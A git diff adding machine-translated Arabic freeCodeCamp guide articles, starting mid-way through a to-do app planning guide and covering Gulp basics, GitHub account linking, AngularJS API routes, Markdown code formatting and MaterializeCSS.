+*   كمستخدم مسجل الدخول ، يمكنني حذف المهام (فقط ما يجب القيام به - ليس للمستخدمين الآخرين).
+*   كمستخدم مسجّل يمكنني إكمال "المهام" (فقط المهام التي يجب القيام بها - وليس المستخدمين الآخرين).
+*   كمستخدم مجهول ، يمكنني التسجيل للحصول على حساب جديد ، استعادة كلمة المرور الخاصة بي ، أو تسجيل الدخول إلى التطبيق باستخدام حساب موجود.
+
+## 3) إنشاء نموذج حالة الاستخدام لدينا
+
+سيساعدنا نموذج حالة الاستخدام لدينا في تصور قصص المستخدمين لدينا حتى نتمكن من فهم كيفية تنفيذها بشكل أفضل.
+
+! \[مخطط حالة مستخدم مجهول
+
+![مخطط حالة مستخدم مصادق عليه](https://lh6.googleusercontent.com/3V6dVvAcyjqFkaOukimucYOX0CfwBBYNN9SvjmnVy40Pdhs4Wtrr34i3E-9pbV7tFsp4jHm77IFQvFupjq6OWyxqEgCzcQ995Ayh52Msczu6TfwKeNhL9PYHyxSgmPYA1TR6l6Q)
+
+## 4) إنشاء مخطط النشاط لدينا
+
+سيوضح مخطط النشاط لدينا المسارات المختلفة التي يمكن لمستخدمينا اجتيازها من خلال تطبيقنا.
+
+![صورة رسم بياني للنشاط](https://lh6.googleusercontent.com/jAQL4myqWOPA3gk2iTpGyAQBrO6p1GlPe8BQQ1Se6a-Di40X3Zw1p0wfJewZUL-YyDmedYzX5Lxvo2GW2Qnr6I-6kuKe1sDb9_5F_n46cKoawWReWW_ZoZCIJO6Semc4fvsiuHc)
+
+مستخدم يصل إلى تطبيق لدينا القيام به.
+
+*   إذا لم يقم المستخدم بتسجيل الدخول ، فسترى صفحة تسجيل الدخول الخاصة بنا.
+    
+*   إذا كان لديها حساب بالفعل ، يمكنها تسجيل الدخول.
+    
+*   إذا كان لديها حساب ، ولكنها نسيت كلمة المرور الخاصة بها ، يمكنها استرداد كلمة المرور الخاصة بها.
+    
+*   إذا لم يكن لديها حساب ، فيمكنها إنشاء حساب.
+    
+*   يتطلب كل من "إنشاء حساب" و "استرداد كلمة المرور الخاصة بي" التحقق من صحة البريد الإلكتروني. يمكن للمستخدم تسجيل الدخول إلى طلبنا فقط بعد أن تؤكد عنوان بريدها الإلكتروني.
+    
+*   إذا سجلت الدخول ، فسترى قائمة المهام الخاصة بها (يمكن أن يكون هذا فارغًا إذا لم تضف أية مهام تالفة حتى الآن).
+    
+*   مستخدم مسجل الدخول:
+    
+    *   قادر على رؤية قائمة مهامها
+        
+    *   قادر على تحديد مهمة من قائمتها على أنها مكتملة
+        
+    *   قادر على البحث داخل قائمة المهام الخاصة به
+        
+    *   قادر على حذف مهمة من قائمتها
+        
+    *   يمكن الخروج.
+        
+*   يمكن للمستخدم الخروج من التطبيق في أي وقت.
+    
+
+## 5) إنشاء نماذج بالأحجام الطبيعية لدينا
+
+تعرض نماذجنا بالأحجام الطبيعية شكل التطبيق الذي يجب أن يبدو عليه. من الأسرع كثيرًا أن يتم التكرار في نموذج معين بدلاً من إجراء ذلك على رمز العمل.
+
+![صورة بالحجم الطبيعي](https://lh3.googleusercontent.com/GBFhmBkfr-xM5YSXlR0Fm9y8b24ivdRlUtRWQOHJ8skNxEgjTkAef0e5nZ-CcHKNUq2p4V4hgDuAm9LSEuvbovlVborH1ZioAUXVlEblWZ4hN_d2tGEpxhfTkKH9os2JS1pab4w)
+
+## 6) اختيار التقنيات المناسبة لمشروعنا
+
+نظرًا لأن هذا تطبيق من صفحة واحدة ، سنعتمد بشكل كبير - أو في هذه الحالة على وجه الحصر - على جافا سكريبت. دعونا نستخدم واحدة من أكثر حزم جافا سكريبت شعبية: مكدس MEAN. إحدى الفوائد الكبيرة لمكدس MEAN هي أن جميع مكوناته مجانية ومفتوحة المصدر. هناك أيضا طن من الموارد المتاحة لتعلم مكدس MANAN ، ولإصلاحه عندما تواجه أخطاء لا محالة.
+
+يمكنك الحصول على [بيئة تطوير مكدس MANAN](http://www.freecodecamp.com/challenges/get-set-for-our-back-end-development-projects) وتشغيلها في السحابة في أقل من ساعة ، مجانًا.
+
+في ما يلي المكونات التي سنستخدمها:
+
+1.  [MongoDB](http://mongodb.org/) لقاعدة البيانات الخاصة بنا
+2.  [Node.js](http://nodejs.org/) و [Express.js](http://expressjs.com/) لتطبيق API الخاص بنا
+3.  [AngularJS](http://angularjs.org/) ، جنبا إلى جنب مع HTML و CSS (و Bootstrap) لتطبيقنا على جانب العميل
+4.  [النمس](http://mongoosejs.com/) لتوصيل طلبنا إلى MongoDB
+
+## 7) تصميم مخطط قاعدة البيانات لدينا
+
+إنه يستحق الجهد لتصميم مخطط قاعدة البيانات ، حتى بالنسبة للتطبيق البسيط.
+
+سيكون لدينا مجموعتان: مجموعة "المستخدمين" الخاصة بنا ستحتوي على بيانات المستخدم الخاصة بنا ، وستتضمن مجموعة "ToDo" الخاصة بنا المهام التي يجب القيام بها. يمكن لمستخدم واحد أن يكون لديه صفر أو واحد أو العديد من المهام في قائمة المهام الخاصة به ، لذلك سيكون لدينا علاقة رأس بأطراف (1: م) بين مجموعتين.
+
+![مخطط مخطط قاعدة البيانات](https://lh6.googleusercontent.com/5uSb_xnSSc5CWXJD0yyUGVJsL92RRZl3Bex_3wjuzl5Xr69Ks0j3od-yFju24SAd5wWMBNy9uqBrvOzdrUWluOkbcr4H5zFg-ZemJX3ZRWS12D42OowuvWnxA7wWIGrhhzaQ0aw)
+
+## 8) تحديد حالات الاستخدام لدينا
+
+1.  ماذا يحدث للمهام المتعلقة بالمستخدم الذي يقوم بحذف حسابها؟ عندما يحذف المستخدم حسابه ، يجب أيضًا حذف المهام المرتبطة بهذا المستخدم.
+2.  لا يمكن إضافة أية أشياء بدون إرفاقها بمستخدم مؤكد.
+3.  لا يمكن حذف أي شيء إلا بواسطة مالكه.
+4.  لا يمكن إضافة أي مستخدم باسم مستخدم أو كلمة مرور فارغة.
+5.  لا يمكن إضافة أي مهمة بمهمة فارغة.
+
+أشياء لتأخذها بالحسبان:
+
+1.  استخدم البرامج الوسيطة من Mongoose لإزالة المستندات التابعة مثل المهام عندما يقوم المستخدم بحذف حسابه.
+2.  استخدم قواعد التحقق من Mongoose في النماذج لمنع إضافة الحقول الفارغة إلى قاعدة البيانات الخاصة بنا.
+
+## 9) تصميم واختبار API لدينا
+
+لقد استخدمت منتجًا مجانيًا يسمى Apiary [لتوثيق API لدينا](http://docs.fcctodoapp.apiary.io/) .
+
+إليك بناء الجملة الذي استخدمته [لإنشاء BluePrint البسيط](https://jsapi.apiary.io/apis/fcctodoapp.apib) .
+
+أوصيك بإنشاء حساب والبدء في اللعب به. إذا قمت بربط حساب [GitHub](http://github.com/) الخاص بك مع Apiary ، فيمكنك التأكد من أن وثائقك دائمًا ما تكون حديثة. ستتمكن أيضًا من اختبار بياناتك بشكل مرئي دون الحاجة إلى الوصول إلى نقاط نهاية API. إذا كنت تفضل اختبار واجهة برمجة التطبيقات من سطر الأوامر ، [فإليك مثالاً لكيفية القيام بذلك](http://docs.agendor.apiary.io/) .
+
+لاحقًا ، بعد تنفيذ API باستخدام Node.js و Express.js ، ستحتاج فقط إلى تعيين عنوان URL في Apiary. ثم يمكنك البدء في اختبار مكالماتك. سيتم استبدال عنوان URL الحالي الخاص بمضيفنا ( [http://fcctodoapp.apiblueprint.org/](http://fcctodoapp.apiblueprint.org/) ) بعنوان URL الخاص بـ API الخاص بك.
+
+![الصورة التجريبية التطبيق](https://lh6.googleusercontent.com/hU3ilG_y9FqtL_zajQ_KOjWy8Qx590Go8nkNvA1j0oR50YJTpjJhL1lAPgjyeLTAS06tq6V62EcJrLQyT_TR2BK49DYiX6kksU6s9cqJDvvaS6jvepIM6uiO4JMbXuu-oXhdsas)
+
+## 10) ابدأ كتابة التعليمات البرمجية!
+
+هذا هو الجزء الممتع ، وسيستغرق معظم وقت مشروعك. إذا كنت بحاجة إلى مساعدة بشأن ذلك ، انضم إلينا وتعلّم كيفية البرمجة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/learn-some-gulp-basics/index.md b/client/src/guide/arabic/miscellaneous/learn-some-gulp-basics/index.md
new file mode 100644
index 0000000000..7af41836cf
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/learn-some-gulp-basics/index.md
@@ -0,0 +1,167 @@
+---
+title: Learn Some Gulp Basics
+localeTitle: تعلم بعض أساسيات Gulp
+---
+غولب يمكنه فعل **الكثير** . هذا مجرد لمحة عامة عن الأساسيات. بمجرد فهمك لذلك ، يمكنك إضافة المزيد إلى Gulp بنفسك. لقد كانت وثائق الحزم المختلفة التي استخدمتها رائعة ولدينا أيضًا منتدى رائع على FreeCodeCamp مستعد للمساعدة في أي مشروع.
+
+![شعار غولب](https://raw.githubusercontent.com/gulpjs/artwork/master/gulp.png)
+
+## ما هو غالب؟
+
+غالب هو عداء جافا سكريبت / مهمة. هل تستخدم Jade ، ولكنك تحتاج إلى HTML؟ ساس ، ولكن بحاجة إلى CSS؟ القهوة ، ولكن تحتاج إلى جافا سكريبت؟ أو ربما ترغب فقط في تجميع و / أو تقليل ما لديك بالفعل؟ يمكن لـ Gulp القيام بكل ذلك بسهولة ، لذا لن تضطر إلى العودة إلى المحطة بعد كل تغيير بسيط.
+
+## لماذا استخدام Gulp؟
+
+نحن نستخدم الكثير من CodePen على FreeCodeCamp. يتيح CodePen استخدام المعالجات التمهيدية دون الحاجة إلى القيام بأي شيء آخر. يمكنك عرض النسخة المترجمة إذا تم استخدام المعالج الأولي. يبدو مختلفا كثيرا. يمكنك إنشاء مشروع في React على CodePen ، اختر Babel كـ المعالج المسبق لـ JavaScript وكل شيء سيعمل. إذا كنت ستقوم بهذا المشروع نفسه محليًا دون معالجة كل شيء ، فلن تحصل على ما كنت تتوقعه. هذا هو المكان الذي يأتي فيه غلب.
+
+## كيف أستخدم Gulp؟
+
+مرة أخرى ، هذه مجرد نظرة عامة على الأساسيات. ستتم معالجة النظرة العامة إلى Sass إلى CSS ، وتسوية وتقليل أوراق الأنماط والنصوص ، وتطبيق ساعة Gulp. تحتاج إلى تثبيت Node و NPM على جهاز الكمبيوتر الخاص بك قبل القيام بأي شيء. على الأرجح لديك هذا بالفعل ، ولكن أدخل `node -v` و `npm -v` في الطرفية الخاصة بك للتحقق.
+
+*   التغيير إلى دليل المشروع وتشغيل `npm init` في المحطة.
+    
+    *   هذا يخلق ملف `package.json` في دليل العمل.
+        
+    *   وسيكون هذا أيضًا وقتًا مناسبًا لتشغيل `node_modules/` `touch .gitignore` في المحطة وإضافة `node_modules/` إلى الملف ، لذلك لن تدفع جميع هذه الحزم إلى GitHub.
+        
+*   تشغيل `npm install --save-dev gulp gulp-concat gulp-minify-css gulp-rename gulp-sass gulp-uglify` in the terminal. قد يستغرق هذا بضع دقائق حتى تنتهي.
+    
+    *   هذا يقوم بتثبيت 6 `node_modules` مختلفة. يمكنك إلقاء نظرة على ملف `package.json` ومشاهدة كل هذه `devDependencies` المدرجة ضمن `devDependencies` وفي مجلد `node_modules` ومشاهدة كل حزمة قمت بتثبيتها.
+        
+    *   `gulp-concat` هو وصل الأنماط والكتابات، `gulp-minify-css` هو تصغير CSS، `gulp-rename` هي لإعادة تسمية الملف، `gulp-sass` هو ساس لCSS، و `gulp-uglify` هو تصغير JS.
+        
+*   قم بتشغيل `touch gulpfile.js` في المحطة.
+    
+    *   أنت الآن جاهز للبدء.
+*   ستحتاج إلى طلب جميع الملفات التي حفظتها للتو. تفعل هذا في `gulpfile.js` .
+    
+
+ `    'use strict'; 
+ 
+    var gulp = require('gulp'); 
+    var concat = require('gulp-concat'); 
+    var minifyCss = require('gulp-minify-css'); 
+    var rename = require('gulp-rename'); 
+    var sass = require('gulp-sass'); 
+    var uglify = require('gulp-uglify'); 
+` 
+
+*   نحن بحاجة إلى البدء في مكان ما ، لذلك ساس إلى CSS أولا؟ هنا سنقوم بمعالجة Sass إلى CSS ، وتقليل CSS ، وإعادة تسمية الملف.
+    
+    *   اسم المهمة `sass` (أكثر على ذلك لاحقا).
+        
+    *   في الدليل الحالي ، نبحث عن مجلد باسم `assets` ، ثم مجلد باسم `scss` ، ثم ملفًا باسم `main.scss` .
+        
+    *   نقوم بمعالجة Sass إلى CSS والتسجيل في حالة حدوث خطأ.
+        
+    *   يتم تصغير CSS. هذا هو مجرد التخلص من كل تلك الخطوط والفضاء الإضافي. لا يحتاج الكمبيوتر إلى تلك الملفات لقراءة الملف ويقلل بشكل كبير من حجم الملف.
+        
+    *   نظرًا لتخفيض حجم الملف الآن ، فمن المنطقي إعادة تسميته. `.min.css` .
+        
+    *   الخطوة الأخيرة هي حفظ ملف `main.min.css` مكان ما ، وسوف يكون في الدليل الحالي إلى مجلد باسم `public` ، ثم مجلد باسم `css` .
+        
+
+ `    gulp.task('sass', function() { 
+        return gulp.src('./assets/scss/main.scss') 
+        .pipe(sass().on('error', sass.logError)) 
+        .pipe(minifyCss({compatibility: 'ie8'})) 
+        .pipe(rename('main.min.css')) 
+        .pipe(gulp.dest('./public/css')); 
+    }); 
+` 
+
+*   الآن يمكننا الحصول على المزيد من الأشياء في Gulp ومحاولة تجميع جميع ملفات النص البرمجي. ماذا لو كان لديك برنامج نصي واحد فقط الآن ، لذلك ليس لديك أي شيء لسلسلته؟ ربما تخلص من بعض من CDNs لديك وجعلها مخطوطات. لكنك ستحصل على مشاريع أكبر لها العديد من النصوص.
+    
+    *   يرجى ملاحظة أنني لا أغطي خرائط المصدر. أعتقد أن هذه هي الخطوة التالية بعد هذه النظرة الأساسية ، لذا انظر إليها بمجرد فهمك لما تفعله هنا.
+        
+    *   يتم تسمية المهام الحالية `concatScripts` و `minifyScripts` .
+        
+    *   هذا هو نفس الهيكل الأساسي مثل `sass` . تتم إضافة جميع الملفات إلى `gulp.src` ، لكن علينا أولاً حفظ هذا الملف المتسلسل قبل أن يصبح بالإمكان تصغيره.
+        
+    *   يسمى `uglify` جافا سكريبت بالإزالة `uglify` .
+        
+    *   هل تلاحظ `['concatScripts]` بعد `minifyScripts` ؟ وهذا يعني `concatScripts` سيتم تشغيل `concatScripts` فعليًا في كل مرة نحاول فيها تشغيل `minifyScripts` .
+        
+
+ `    gulp.task('concatScripts', function() { 
+        return gulp.src([ 
+            './assets/js/script-1.js', 
+            './assets/js/script-2.js', 
+            './assets/js/script-3.js' 
+        ]) 
+        .pipe(concat('app.js')) 
+        .pipe(gulp.dest('./assets/js')); 
+    }); 
+ 
+    gulp.task('minifyScripts', ['concatScripts'], function() { 
+        return gulp.src('assets/js/app.js') 
+        .pipe(uglify()) 
+        .pipe(rename('app.min.js')) 
+        .pipe(gulp.dest('public/app/js')); 
+    }); 
+` 
+
+*   يمكنك الآن الذهاب إلى محطة واكتب في `gulp sass` و / أو `gulp minifyScripts` . هذا سيدير ​​كل واحد ، لكننا نريد أن نجعل الأمر أسهل علينا. سنقوم بإنشاء بنية افتراضية ، حتى نتمكن من إدخال `gulp` في المحطة. سنقوم أيضاً بإضافة `gulp watch` ، لذلك عندما تقوم بحفظ ملف مدرج في الساعة ، فإنه سيعمل ما قلته لتشغيله.
+    
+    *   لقد صنعنا مهمة تسمى `build` . هذا مشابه جدًا لـ `minifyScripts` نظرًا لوجود مصفوفة فيه. كلما ندخل `gulp build` في محطة فستعمل `sass` و `minifyScripts` (الذي يمتد في الواقع `concatScripts` أولا).
+        
+    *   لقد أجرينا أيضًا مهمة تسمى `watch` . هذه هي مهمة وقت التوقف. في المحطة تقوم بتشغيل `gulp watch` . ستبقى Gulp مفتوحة على المحطة ، لذا ربما تريد تشغيلها في علامة تبويب أخرى. كلما يتم تحديث الملفات وحفظها في `scss` مجلد مع `.scss` تمديد `sass` سيتم تشغيل المهمة. ونفس الشيء بالنسبة لملف في `js` مجلد مع `.js` التمديد، ولكن `concatScripts` و `minifyScripts` سيتم تشغيل.
+        
+    *   المهمة الأخيرة هي `default` . يمكنك فقط تشغيل أداة `gulp` في الوحدة الطرفية وستعمل على تشغيل المهمة `default` . و `default` مهمة هنا تدعو ل `build` المهمة، التي تدير فقط كل المهام لدينا على الصفحة.
+        
+
+ `    gulp.task('build', ['sass', 'minifyScripts']); 
+ 
+    gulp.task('watch', function() { 
+        gulp.watch('./assets/scss/**/*.scss', ['sass']); 
+        gulp.watch('./assets/js/**/*.js', ['minifyScripts']); 
+    }); 
+ 
+    gulp.task('default', ['build']); 
+` 
+
+هذا ما يجب أن يبدو عليه ملف `gulpfile.js` النهائي `gulpfile.js` :
+
+ `    'use strict'; 
+ 
+    var gulp = require('gulp'); 
+    var concat = require('gulp-concat'); 
+    var minifyCss = require('gulp-minify-css'); 
+    var rename = require('gulp-rename'); 
+    var sass = require('gulp-sass'); 
+    var uglify = require('gulp-uglify'); 
+ 
+    gulp.task('sass', function() { 
+        return gulp.src('./assets/scss/main.scss') 
+        .pipe(sass().on('error', sass.logError)) 
+        .pipe(minifyCss({compatibility: 'ie8'})) 
+        .pipe(rename('main.min.css')) 
+        .pipe(gulp.dest('./public/css')); 
+    }); 
+ 
+    gulp.task('concatScripts', function() { 
+        return gulp.src([ 
+            './assets/js/script-1.js', 
+            './assets/js/script-2.js', 
+            './assets/js/script-3.js' 
+        ]) 
+        .pipe(concat('app.js')) 
+        .pipe(gulp.dest('./assets/js')); 
+    }); 
+ 
+    gulp.task('minifyScripts', ['concatScripts'], function() { 
+        return gulp.src('assets/js/app.js') 
+        .pipe(uglify()) 
+        .pipe(rename('app.min.js')) 
+        .pipe(gulp.dest('public/app/js')); 
+    }); 
+ 
+    gulp.task('build', ['sass', 'minifyScripts']); 
+ 
+    gulp.task('watch', function() { 
+        gulp.watch('./assets/scss/**/*.scss', ['sass']); 
+        gulp.watch('./assets/js/**/*.js', ['minifyScripts']); 
+    }); 
+ 
+    gulp.task('default', ['build']); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/linking-your-account-with-github/index.md b/client/src/guide/arabic/miscellaneous/linking-your-account-with-github/index.md
new file mode 100644
index 0000000000..387eef010e
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/linking-your-account-with-github/index.md
@@ -0,0 +1,12 @@
+---
+title: Linking Your Account with Github
+localeTitle: ربط حسابك مع جيثب
+---
+في آب 2015 ، قمنا بدفع بعض التغييرات التي تسببت في مشاكل للعديد من المعسكر.
+
+إذا كنت غير قادر على ربط حسابك على GitHub بحسابك الحالي ، فإليك ما نوصي به:
+
+1) اخرج من حسابك الحالي وحاول تسجيل الدخول باستخدام GitHub.  
+2) تحقق من خريطة التحدي الخاص بك. يجب ألا يكون حسابك أي تقدم. احذف هذا الحساب هنا: [http://freecodecamp.com/account](http://freecodecamp.com/account)  
+3) تسجيل الدخول إلى Free Code Camp بالطريقة المعتادة (Facebook ، البريد الإلكتروني ، إلخ). يجب أن ترى تقدمك الأصلي.  
+3) الآن إضافة جيثب إلى هذا الحساب ، ويجب أن تكون كل مجموعة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/links-to-help-with-functional-programming/index.md b/client/src/guide/arabic/miscellaneous/links-to-help-with-functional-programming/index.md
new file mode 100644
index 0000000000..5842a8a30a
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/links-to-help-with-functional-programming/index.md
@@ -0,0 +1,15 @@
+---
+title: Links to Help with Functional Programming
+localeTitle: وصلات للمساعدة في برمجة وظيفية
+---
+هنا سوف تقوم بروابط جيدة لمعرفة المزيد عن البرمجة الوظيفية.
+
+## ورش عمل
+
+[https://github.com/timoxley/functional-javascript-workshop](https://github.com/timoxley/functional-javascript-workshop)
+
+ورشة عمل حزمة عقدة. أكثر يمكن العثور عليها في [nodeschool](http://nodeschool.io/)
+
+## القراءة ومقاطع الفيديو
+
+[https://github.com/timoxley/functional-javascript-workshop](https://github.com/timoxley/functional-javascript-workshop)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/make-useful-apis-in-angularjs/index.md b/client/src/guide/arabic/miscellaneous/make-useful-apis-in-angularjs/index.md
new file mode 100644
index 0000000000..bbe79c15f8
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/make-useful-apis-in-angularjs/index.md
@@ -0,0 +1,29 @@
+---
+title: Make Useful Apis in Angularjs
+localeTitle: جعل أبيس مفيدة في Angularjs
+---
+هناك نوعان من الأشياء التي عليك القيام بها قبل أن تكون مفيدة لك. لنفترض أنك تريد عرض جميع _الأشياء_ المرتبطة باسم المستخدم المطلوب مع هذه الصفحة: يجب عليك أولاً
+
+1.  أن يكون لديك حقل "اسم مستخدم" أو "مالك" في مخطط _شيء ما_ على `/server/api/thing/thing.model.js`
+    
+2.  اكتب `/server/api/thing/index.js` في `/server/api/thing/index.js` لالتقاط طلب للحصول على اسم مستخدم معين. قد يبدو الطلب من واجهتك الأمامية كالتالي:
+    
+    $ http.get ('/ api / things /' + اسم المستخدم) .success (…)
+    
+
+لذلك عليك إضافة سطر إلى `index.js` مثل:
+
+ `router.get('/:user', controller.indexUser); 
+` 
+
+ثم في `thing.controller.js` سوف تكتب وظيفة _exports.indexUser_ مثل ذلك:
+
+ `exports.indexUser = function(req, res) { 
+    Thing.find({owner:req.params.user}, function (err, things) { 
+        if(err) return res.send(500, err); 
+        res.json(200, things); 
+    }); 
+ }; 
+` 
+
+تحذير!!! هذه الطريقة لا تعمل إلا إذا كانت أسماء المستخدمين فريدة تمامًا بين المستخدمين. لا يحتوي نظام المصادقة الافتراضي الذي يأتي مع المولد الزاوي - fullstack على أسماء مستخدمين فريدة ، لذا ربما يكون من الأفضل استخدام _المستخدم._ حقل id\_ لتحديد المستخدمين الفريدين في قاعدة البيانات الخاصة بك الآن ، إلا إذا كنت تريد تطبيق أسماء مستخدمين فريدة بنفسك عن طريق تغيير `/api/user/user.model.js` و `/api/user/user.controller.js` و `/app/client/account/signup/signup.controller.js` الخاص بك `/app/client/account/signup/signup.controller.js` . لحسن الحظ ، يجب أن تعرف كيفية القيام بكل ذلك بعد قراءة هذا الدليل!
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/markdown-code-formatting/index.md b/client/src/guide/arabic/miscellaneous/markdown-code-formatting/index.md
new file mode 100644
index 0000000000..f4aede7e89
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/markdown-code-formatting/index.md
@@ -0,0 +1,98 @@
+---
+title: Markdown Code Formatting
+localeTitle: تنسيق الشفرة المنسقة
+---
+# تنسيق الشفرة المنسقة
+
+هناك طريقتان لتنسيق التعليمات البرمجية في Markdown. يمكنك إما استخدام شفرة مضمنة ، من خلال وضع عناصر خلفية حول أجزاء من خط ما ، أو يمكنك استخدام كتلة تعليمات برمجية ، والتي سيقوم بعض العارضين بتطبيقها على تسليط الضوء عليه.
+
+## رمز مضمّن
+
+يمكنك استخدام تنسيق التعليمات البرمجية المضمنة للتأكيد على أمر صغير أو جزء من البنية داخل السطر الذي تكتبه.
+
+على سبيل المثال ، قد ترغب في الإشارة إلى وظيفة `Array.protoype.map()` في Javascript. باستخدام تنسيق التعليمات البرمجية المضمنة ، من الواضح أن هذا جزء من التعليمات البرمجية. يمكنك أيضًا استخدامه لتوضيح أمر المطراف ، مثل `yarn install` .
+
+لاستخدام تنسيق التعليمات البرمجية المضمنة ، ما عليك سوى التفاف الشفرة التي تريد تنسيقها في backticks. على لوحة المفاتيح القياسية QWERTY للتخطيط الأمريكي ، يمكن العثور على هذا على يسار "1" ، وأعلى من علامة التبويب. يتم توفير مزيد من المعلومات حول موقع backtick على لوحات المفاتيح الدولية أدناه.
+
+على سبيل المثال ، سيظهر كتابة \`Array.prototype.map ()\` في `Array.prototype.map()` كـ `Array.prototype.map()` .
+
+## كتل رمز
+
+لكتابة مقتطفات من الشفرة أطول أو أكثر تفصيلاً ، غالبًا ما يكون من الأفضل وضعها داخل مجموعة تعليمات برمجية. تتيح لك رموز التعليمة البرمجية استخدام عدة أسطر ، وسيؤدي الترميز إلى وضعها داخل الصندوق الخاص بها وبنوع نوع الشفرة.
+
+لتحقيق ذلك ، ابدء كتلة مع خط من ثلاثة backticks. هذا يشير إلى العلامة التي تقوم بإنشاء كتلة التعليمات البرمجية. سوف تحتاج إلى إنهاء مع خط آخر من ثلاثة backticks. فمثلا:
+
+\`\` \`
+
+var add2 = function (number) {
+
+رقم المرسل + 2 ؛
+
+}
+
+\`\` \`
+
+ستظهر في تخفيض السعر على النحو التالي:
+
+ `var add2 = function(number) { 
+    return number + 2; 
+ } 
+` 
+
+على الرغم من أن العديد من محركات الشطب ، بما في ذلك تلك المستخدمة من قبل GitHub ، غير مدعومة أصلاً من خلال تخفيض السعر ، فإنها تدعم تسليط الضوء على تركيب الجملة. وهذا يعني أنه من خلال إخبارنا عن اللغة التي نستخدمها داخل كتلتنا ، فإنه سيضيف ألوانًا مثل بيئة تطوير متكاملة. يمكنك القيام بذلك عن طريق إضافة اسم اللغة على نفس السطر الخاص بك ثلاث علامات ظهر فتح. في المثال أعلاه ، إذا استخدمنا بدلاً من السطر الأول \`\` \`\` \`\` js ، فسيتم تطبيق التمييز على الكتلة.
+
+ `var add2 = function(number) { 
+    return number + 2; 
+ } 
+` 
+
+هذا يمكن تطبيقه على أكثر من مجرد javascript رغم ذلك. يمكنني استخدام \`\` \`html:
+
+ `
+<div class="row"> 
+    <div class="col-md-6 col-md-offset-3"> 
+        <h1>Hello World</h1> 
+    </div> 
+ </div> 
+` 
+
+\`\` \`روبي:
+
+ `"Hello World".split('').each do |letter| 
+    puts letter 
+ end 
+` 
+
+أو "بيثون":
+
+ `a, b = 0, 1 
+ while b < 10: 
+    print(b) 
+    a, b = a, a + b 
+` 
+
+بالإضافة إلى العديد من الآخرين. ولكن تذكر ، لن تقوم جميع محركات الشطب بتطبيق تسليط الضوء على تركيب الجملة.
+
+## كتابة باكتكس
+
+يمكن أن يكون موقع مفتاح backtick مختلفًا على لوحات المفاتيح المختلفة ، وإذا كنت لا تستخدم لوحة مفاتيح QWERTY للتخطيط الأمريكي ، فقد يكون من الصعب العثور عليها. يسرد [هذا](http://superuser.com/a/254077/122424) الدليل المفيد بعض الطرق للعثور على مفتاح backtick الخاص بك ، والذي جمعناه هنا أدناه.
+
+#### QWERTY و QWERTZ (المفتاح الذي تم وضع علامة له بالحد الأحمر)
+
+![QWERTY](//discourse-user-assets.s3.amazonaws.com/optimized/2X/a/a7daf1d707e12e207d47f0eb70ba01d97ffd1924_1_690x327.png)
+
+#### AZERTY France ( Alt Gr + Key التي تم وضع علامة عليها بحدود حمراء)
+
+![AZERTY](//discourse-user-assets.s3.amazonaws.com/original/2X/8/8f65c339ce4eefd9d79841f3dc54f4c37cab2e77.png)
+
+#### AZERTY Belgium ( Alt Gr + Key التي تم وضع علامة عليها بحدود حمراء)
+
+![أدخل وصف الصورة هنا](//discourse-user-assets.s3.amazonaws.com/original/2X/d/de291f0895b0fed992726a62d654f4e1f0e421f3.png)
+
+#### QWERTY Estonian (Keys التي تم تعليمها بحد أحمر)
+
+![تخطيط لوحة المفاتيح الإستونية](//discourse-user-assets.s3.amazonaws.com/optimized/2X/0/089b26510b1dcc7553625ba162582cf55837b6cd_1_690x230.png)
+
+### رمز Alt
+
+وأخيرًا ، يحتوي مفتاح backtick على رمز بديل ، والذي يجب أن يعمل على أي مفتاح رئيسي. إذا لم تتمكن من العثور على مفتاح backtick على لوحة المفاتيح ، يمكنك الاستمرار على مفتاح Alt ، ثم اضغط 9 ، ثم 6 (Alt + 9 ، 6). هذا سوف يدرج backtick.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/materializecss-framework-as-a-an-alternative-to-bootstrap/index.md b/client/src/guide/arabic/miscellaneous/materializecss-framework-as-a-an-alternative-to-bootstrap/index.md
new file mode 100644
index 0000000000..79e093552c
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/materializecss-framework-as-a-an-alternative-to-bootstrap/index.md
@@ -0,0 +1,63 @@
+---
+title: MaterializeCSS Framework as an Alternative to Bootstrap
+localeTitle: إطار MaterializeCSS كبديل لبرنامج Bootstrap
+---
+يعد [MaterializeCSS](http://materializecss.com/) إطارًا أساسيًا مستجيبًا حديثًا يستند إلى [مبادئ التصميم](https://www.google.com/design/spec/material-design/introduction.html) متعدد الأبعاد من Google.
+
+## ما هو تصميم المواد؟
+
+التصميم المادي (الذي يحمل الاسم الرمزي ورقة الكم) هو نظام تصميم تم تطويره بواسطة Google. بالتوسع في نماذج "البطاقة" التي ظهرت لأول مرة في Google Now ، يجعل التصميم متعدد الأبعاد استخدامًا أكثر ليبرالية للتنسيقات القائمة على الشبكة ، والرسوم المتحركة المتجاوبة والتحولات ، والحشو ، وتأثيرات العمق مثل الإضاءة والظلال.
+
+يمنحك هذا [الفيديو](https://www.youtube.com/watch?v=Q8TXgCzxEnw) فكرة حول التصميم متعدد الأبعاد:
+
+## تحقق من هذه المواقع التي تستخدم تجسيد ومعرفة الفرق من ما اعتدت عليه!
+
+اختبرها على هاتفك أيضًا للحصول على شعور أفضل.
+
+*   [ال 100](https://www.100xp.io/)
+    
+*   [مواضيع المسؤول](http://demo.geekslabs.com/materialize/v2.1/)
+    
+*   [StrapHq](http://www.straphq.com/)
+    
+
+المزيد من الأمثلة [هنا](http://materializecss.com/showcase.html)
+
+## بديل Bootstrap ، حقا؟
+
+البرد ، لا شيء يمكنه الفوز على Bootstrap ، في رأيي. ومع ذلك ، فإن تجسيد CSS يوفر ذلك فقط ، تتحقق - الشعور بالتفاعل مع الواجهة كما لو كانت مادة مادية ، مثل الورق. لقد توصلت للتو مع هذا.
+
+لكن حقا…
+
+أنا مثل تتجسد بسبب بساطته ، على سبيل المثال:
+
+في Bootstrap ، يمكنك القيام بذلك لإنشاء زر
+
+ `<button class="btn btn-primary btn-lg"> 
+ My Button 
+ </button> 
+` 
+
